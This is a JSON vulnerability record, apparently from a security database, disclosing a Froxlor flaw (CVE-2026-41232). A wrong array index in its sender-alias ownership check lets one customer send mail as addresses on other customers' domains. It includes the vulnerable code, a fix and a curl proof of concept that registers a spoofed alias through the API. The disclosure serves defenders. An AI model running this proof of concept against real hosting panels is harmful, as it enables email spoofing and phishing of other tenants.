{"id":"CVE-2026-41232","aliases":["GHSA-vmjj-qr7v-pxm6"],"url":"https://o3.security/vulnerability/CVE-2026-41232","summary":"Froxlor has an Email Sender Alias Domain Ownership Bypass via Wrong Array Index that Allows Cross-Customer Email Spoofing","details":"## Summary\n\nIn `EmailSender::add()`, the domain ownership validation for full email sender aliases uses the wrong array index when splitting the email address, passing the local part instead of the domain to `validateLocalDomainOwnership()`. This causes the ownership check to always pass for non-existent \"domains,\" allowing any authenticated customer to add sender aliases for email addresses on domains belonging to other customers. Postfix's `sender_login_maps` then authorizes the attacker to send emails as those addresses.\n\n## Details\n\nIn `lib/Froxlor/Api/Commands/EmailSender.php` at line 100, when a customer adds a full email address (not a `@domain` wildcard) as an allowed sender, the code splits on `@` and takes index `[0]`:\n\n```php\n// Line 96-106\nif (substr($allowed_sender, 0, 1) != '@') {\n    if (!Validate::validateEmail($idna_convert->encode($allowed_sender))) {\n        Response::standardError('emailiswrong', $allowed_sender, true);\n    }\n    self::validateLocalDomainOwnership(explode(\"@\", $allowed_sender)[0] ?? \"\");  // BUG: [0] is the local part\n} else {\n    if (!Validate::validateDomain($idna_convert->encode(substr($allowed_sender, 1)))) {\n        Response::standardError('wildcardemailiswrong', substr($allowed_sender, 1), true);\n    }\n    self::validateLocalDomainOwnership(substr($allowed_sender, 1));  // CORRECT: passes domain\n}\n```\n\nFor input `admin@domain-b.com`, `explode(\"@\", \"admin@domain-b.com\")` returns `[\"admin\", \"domain-b.com\"]`. Index `[0]` is `\"admin\"` — the local part, not the domain.\n\nThe `validateLocalDomainOwnership()` function (lines 346-355) then queries `panel_domains` for a domain matching `\"admin\"`:\n\n```php\nprivate static function validateLocalDomainOwnership(string $domain): void\n{\n    $sel_stmt = Database::prepare(\"SELECT customerid FROM `\" . TABLE_PANEL_DOMAINS . \"` WHERE `domain` = :domain\");\n    $domain_result = Database::pexecute_first($sel_stmt, ['domain' => $domain]);\n    if ($domain_result && $domain_result['customerid'] != CurrentUser::getField('customerid')) {\n        Response::standardError('senderdomainnotowned', $domain, true);\n    }\n}\n```\n\nSince no domain named `\"admin\"` exists in `panel_domains`, `$domain_result` is false, and the function returns without error — the ownership check silently passes.\n\nThe inserted `mail_sender_aliases` row is then picked up by Postfix's `sender_login_maps` query (configured in `mysql-virtual_sender_permissions.cf`):\n\n```sql\n... UNION (SELECT mail_sender_aliases.email FROM mail_sender_aliases\nWHERE mail_sender_aliases.allowed_sender = '%s') ...\n```\n\nThis query maps the `allowed_sender` back to the mail user, authorizing them to send as that address via SMTP.\n\n## PoC\n\n```bash\n# Prerequisites: Froxlor instance with mail.enable_allow_sender enabled,\n# two customers: Customer A (owns domain-a.com) and Customer B (owns domain-b.com)\n\n# Step 1: As Customer A, add a sender alias claiming Customer B's domain\n# Via API:\ncurl -X POST 'https://froxlor-host/api/v1/' \\\n  -H 'Authorization: Basic <customer-A-credentials>' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n    \"command\": \"EmailSender.add\",\n    \"params\": {\n      \"emailaddr\": \"myaccount@domain-a.com\",\n      \"allowed_sender\": \"ceo@domain-b.com\"\n    }\n  }'\n\n# Expected: Error \"senderdomainnotowned\" because domain-b.com belongs to Customer B\n# Actual: 200 OK — alias is created because validateLocalDomainOwnership\n#         receives \"ceo\" (local part) instead of \"domain-b.com\" (domain)\n\n# Step 2: Verify the alias was inserted\ncurl -X POST 'https://froxlor-host/api/v1/' \\\n  -H 'Authorization: Basic <customer-A-credentials>' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n    \"command\": \"EmailSender.listing\",\n    \"params\": {\"emailaddr\": \"myaccount@domain-a.com\"}\n  }'\n\n# Step 3: Customer A can now send email as ceo@domain-b.com via SMTP\n# because Postfix sender_login_maps will match the mail_sender_aliases entry\n# and authorize Customer A's mail account to use that sender address.\n```\n\nThe same attack works via the web UI by POST-ing to `customer_email.php` with `action=add_sender` and the target domain in `allowed_domain`.\n\n## Impact\n\nAny authenticated customer on a multi-tenant Froxlor instance can add sender aliases for email addresses on domains belonging to other customers. This allows:\n\n- **Cross-customer email spoofing**: Send emails impersonating users on other customers' domains, bypassing Postfix's `smtpd_sender_login_maps` restriction that is specifically designed to prevent this.\n- **Multi-tenant isolation breach**: The domain ownership check (`validateLocalDomainOwnership`) is the only barrier preventing cross-customer sender aliasing, and it is completely ineffective for full email addresses.\n- **Phishing and reputation damage**: Spoofed emails originate from the legitimate mail server, passing SPF/DKIM checks for the target domain if those records point to the Froxlor server.\n\nNote: The wildcard (`@domain`) code path at line 105 is **not** affected — it correctly passes the domain to `validateLocalDomainOwnership()`.\n\n## Recommended Fix\n\nChange index `[0]` to `[1]` on line 100 of `lib/Froxlor/Api/Commands/EmailSender.php`:\n\n```php\n// Before (line 100):\nself::validateLocalDomainOwnership(explode(\"@\", $allowed_sender)[0] ?? \"\");\n\n// After:\nself::validateLocalDomainOwnership(explode(\"@\", $allowed_sender)[1] ?? \"\");\n```\n\nThis ensures the domain part of the email address is passed to the ownership validation, matching the behavior of the wildcard path on line 105.","published":"2026-04-23T03:54:55.765Z","modified":"2026-10-28T02:30:35.077598114Z","cvss":{"score":5,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N"},"epss":{"score":0.00231,"percentile":0.14002,"asOf":"2026-08-12"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"froxlor/froxlor","fixedVersion":"2.3.6"}],"fix":{"url":"https://github.com/froxlor/froxlor/commit/77d04badf549d5f8429828f0fbc69bc37a35e07a","label":"froxlor/froxlor@77d04ba"},"references":[{"type":"WEB","url":"https://github.com/froxlor/froxlor/releases/tag/2.3.6"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/41xxx/CVE-2026-41232.json"},{"type":"ADVISORY","url":"https://github.com/froxlor/froxlor/security/advisories/GHSA-vmjj-qr7v-pxm6"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41232"},{"type":"FIX","url":"https://github.com/froxlor/froxlor/commit/77d04badf549d5f8429828f0fbc69bc37a35e07a"},{"type":"PACKAGE","url":"https://github.com/froxlor/froxlor"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:30:35.077598114Z"}}